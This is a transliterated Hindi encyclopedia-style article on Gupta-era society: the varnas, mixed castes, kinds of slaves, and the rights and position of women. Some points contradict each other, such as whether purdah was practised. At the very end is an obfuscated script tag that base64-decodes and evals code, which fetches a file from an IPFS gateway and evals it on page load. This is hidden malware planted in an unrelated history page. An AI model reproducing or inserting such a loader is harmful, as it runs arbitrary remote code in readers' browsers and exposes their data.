गुप्तकालीन सामाजिक स्थिति

guptakalin bharatiy samaj paranparagat 4 jatiyoan -

1. brahman,
2. kshatriy,
3. vaishy evan
4. shoodr mean vibhajit tha.

• kautily ne arthashastr mean tatha varahamihir ne vrihatasanhita mean charoan varno ke lie alag alag bastiyoan ka vidhan kiya hai.
• nyay sanhitaoan mean yah ullekh milata hai ki brahman ki pariksha tula se, kshatriy ki pariksha agni se, vaishy ki pariksha jal se tatha shoodr ki vishay se ki jani chahie. pahale ki tarah brahmanoan ka is samay bhi samaj mean sarvochch sthan prapt tha. gupt kal mean jati pratha utani jatil nahian rah gee thi jitani paravarti kaloan. brahmanoan ne any jatiyoan ke vyavasayoan ko apanana arambh kar diya tha.
• mrichchhakatikam ke ullekh se yah pramanit hota hai ki charudatt namak brahman vanijy ka kary karata tha. use brahman ka ‘apaddharm‘ kaha gaya hai. isake atirikt kuchh brahman vansh jaise vakatak evan kadamb ka ullekh milata hai. gupt kal ke poorv brahman keval chhah kary - adhyayan, adhyapan, pooja-path, yajn karana, dan dena aur dan lena, mana jata tha.
• brahmanoan ke atirikt kuchh vaishy shasak jaise har evan saurashtr, avanti, malava ke shoodr shasakoan adi ke vishay mean bhi janakari prapt hoti hai. skandagupt ke iandaur tamrapatr abhilekh mean kuchh kshatriyoan dvara vaishy ka kary karane ka ullekh milata hai.
• [hvenasaang]] ne kshatriyoan ke karmanishtha ki prashansa ki hai tatha unhean nirdosh, saral, pavitr, sidha aur mitavyayi kaha hai. usake anusar kshatriy raja ki jati thi. kuchh guptakalin granthoan mean brahmanoan ko nidershit kiya gaya hai ki ve shoodroan dvara die ge ann ko grahan n karean, jabaki brihaspati ne sankat ke kshanoan mean brahmanoan dvara shoodroan aur dasoan se ann grahan karane ki ajna di. is kal mean shoodroan dvara sainik vritti apanane hue inhean vyapari, karigar evan krishak hone ki anumati pradan ki.
• hnenasaang ke vivaran evan nrisianh puran ke ullekh se yah sanket milata hai ki shoodroan ne krishi kary ko apana liya tha. is prakar gupt kal mean inhean ramayan, mahabharat, evan puran sunane ka adhikar mil gaya.
• yajnavalky ne likha hai ki shoodr varg namah shabd ka prayog kar panch mahayajn kar ekata hai.
• markandey puran mean dan karana aur yajn karana shoodr ka kartavy bataya gaya hai.

mishrit jatiyaan

• gupt kal mean anek mishrit jatiyoan ka bhi ullekh milata hai jaise - moorddhavashikt, ambashth, parashav, ugr evan karan. inamean mukhy roop se ambashth, ugr, parashav ki sankhya guptakalin samaj mean adhik thi.

ambashth

• brahman purush evan vaishy se utpann santan ambashth kahi gee.
• vishnu puran mean inhean nadi tat ka nivasi mana gaya hai.
• manu ne inaka mukhy vyavasay chikitsa bataya hai.

parashav

• is jati ki utpatti brahman purush evan shoodr stri se huee hai inhean nishad bhi kaha jata hai.
• puranoan mean inake vishay mean janakari milati hai.

ugr

• gautam ke anusar vaishy purush evan shoodr stri se utpann jati ugr kahalaee par smritiyoan ka manana hai ki is jati ki utpatti kshatriy purush evan shoodr jati ki stri se huee hai.
• inaka mukhy kary tha bil ke andar se janavaroan ko bahar nikal kar jivan-yapan karana.
• fahyan ne guptakalin samaj mean asprishy (achhoot) jati ke hone ki bat kahi hai. smritiyoan mean inhean 'antyaj' v 'chandal' kaha gaya hai.
• panini ne isaka ullekh ‘niravasit‘ shoodr ke roop mean kiya hai. sambhavat is jati ke utpatti shoodr purush evan brahman stri se huee. yah jati ke bahar nivas karati thi, inaka mukhy kary tha shikar karana evan shamashan ghat ki rakhavali karana.
• gupt kal mean lekhakiy, ganana, ay-vyay ka hisab rakhane adi karyo ko karane vale varg ko kayasth kaha gaya. sambhavatah inaki utpatti bhoomi evan bhoo rajasv ke hastantaran ke karan huee . gupt kal ke prapt abhilekhoan mean nam ullekh pratham kayasth ya jyeshth kayasth mean roop mean hua.

das pratha

gupt kal mean das pratha ka prachalan tha. narad ne 18 prakar ke dasoan ka ullekh kiya hai jinamean mukhy the-

1. prapt kiya hua das (upahar adi se ),
2. svami dvara pradatt das,
3. rrin ka chukata n karane pane ke karan bana das,
4. daanv par lagakar hara hua das (pas adi kheloan),
5. svayan se dasatv grahan svikar karane vala das,
6. ek nishchit samay ke lie apane ko das banana,
7. dasi ke premajal mean phans kar banane vala das evan
8. atm-vikrayi das (svayan ko bechakar).

• manu ke sat prakar ke dasoan ka ullekh kiya hai. dasiyoan ke bare mean bhi janakari milati hai.
• amarakosh mean dasi samagr ka varnan aya hai.

is samay dasoan ko utpadan karyo se alag rakha gaya tha jabaki mauryo ke samay mean das utpadan ke karyo mean log sakriy roop se bhag lete the. is prakar yah spasht ho jata hai ki dasoan ki sthiti guptoan ke samay thik nahian thi. amarakosh mean 'dasisabhamh' shabd ke ullekh se yah sanket milata hai ki guptakal mean dasiyoan ka bhi astitv tha. dasoan ko dasatv bhav se mukt karane ka pratham prayas narad ne kiya.

striyoan ki sthiti

guptakalin samaj mean striyoan ki sthiti ke vishay mean itihasakar 'romila thapar' ne likha hai ki 'sahity aur kala mean to nari ka adarsh roop jhalakata hai par vyavaharik drishti se dekhane par samaj mean unaka sthan gaun tha. pitripradhan samaj mean patni ko vyaktigat sampatti samajha jata tha. pati ke marane par patni ko sati hone ke lie prerit kiya jata tha. uttar bharat ki kuchh sainik jatiyoan ke parivaroan mean b de paimane par sati hone ki pratha ullekh hai. pratham sati hone ka praman 510 ee. ke bhanugupt ke eran ke abhilekh se milata hai jisamean kisi goparaj (senapati) ki mrityu par usaki patni ke sati hone ka ullekh hai. gupt kal mean parda pratha ka prachalan keval uchch varg ki striyoan mean tha.'

striyoan ke adhikaroan ki vriddhi

• fahyan evan hvenasaang ke anusar is samay parda pratha prachalan nahian tha.
• narad evan parashar smriti mean 'vidhava vivah' ke prati samarthan jataya gaya hai.
• guptakalin samaj mean veshyaoan ke astitv ke bhi praman milate haian, par inaki vritti ki ninda ki gee.
• gupt kal mean veshyavriti karane vali striyoan ko ‘ganika‘ kaha jata tha. ‘kuttani‘ un veshyaoan ko kaha jata tha jo vriddh ho jati thi.
• kintu gupt kal mean striyoan ke dhan sanbadhi adhikaroan ki vriddhi huee. stri dhan ka dayara badha.
• katyayan ne stri ko achal sampatti ki svamini mana hai.
• gupt kal ke smritikaroan ke anusar putr ki achal sampatti ki svamini mana hai.
• gupt kal ke smritikaroan ke anusar putr ke abhav mean purush ki sampatti par usaki patni ka pratham adhikar hota tha. (yajnavalky smriti)
• aputr pati ke marane par vidhava patni ko usako uttaradhikari - yajnavalky, brihaspati aur vishnu manate haian.
• striyoan ke stridhan par pratham adhikar usaki putriyoan ka hota hai. (vijnaneshvar)
• striyoan ki sampatti ke adhikar par sarvadhik vyakhya yajnavalky ne di hai. guptakal mean brahman aur kshatriy ko sanyuankt roop se 'dvij' kaha gaya hai.
• yajnavalky evan brihaspati ne stri ko pati ki sampatti ka uttaradhikarini mana hai.
• is samay uchch varg ki kuchh striyoan ke vidushi aur kalakar hone ka ullekh milata hai.
• abhijnan shakuntalamh mean anusooya ko itihas ka jnata bataya gaya hai.
• malavi madhav mean malati ko chitrakala mean nipun bataya gaya hai.
• amarakosh stri shiksha ke lie 'acharyi', 'apadhyayiy' tatha 'upadhyaya' shabdoan ko vyavahar kiya gaya hai.
• guptakal ke sikkoan par striyoan jaise - kumaradevi, tatha lakshmi ke chitr uchch varg ke striyoan ke sammanasoochak hai.
• parda pratha ka prachalan tha.
• bal vivah evan bahuvivah ki pratha vyapak ho gee thi.
• 'meghadoot' mean ujjayini ke mahakal mandir mean karyarat devadasiyoan ka varnan milata hai.
• manu ke anusar jis stri ko pati ne chho d diya ho ya jo vidhava ho gee ho, yadi vah apani ichchha se doosara vivah karean to vah 'punarbhoo' tatha usaki santan 'panaurbhav' kaha jata tha.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>